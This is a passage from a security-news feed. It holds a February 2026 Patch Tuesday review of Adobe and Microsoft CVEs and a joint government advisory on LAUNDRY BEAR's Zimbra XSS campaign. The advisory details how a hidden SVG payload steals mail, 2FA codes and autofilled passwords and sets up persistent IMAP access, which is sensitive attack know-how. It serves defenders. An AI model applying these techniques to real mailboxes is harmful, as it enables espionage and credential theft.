No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Sat, 25 Jul 2026 18:59:26 +0200 📰 IT Security Nachrichten tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

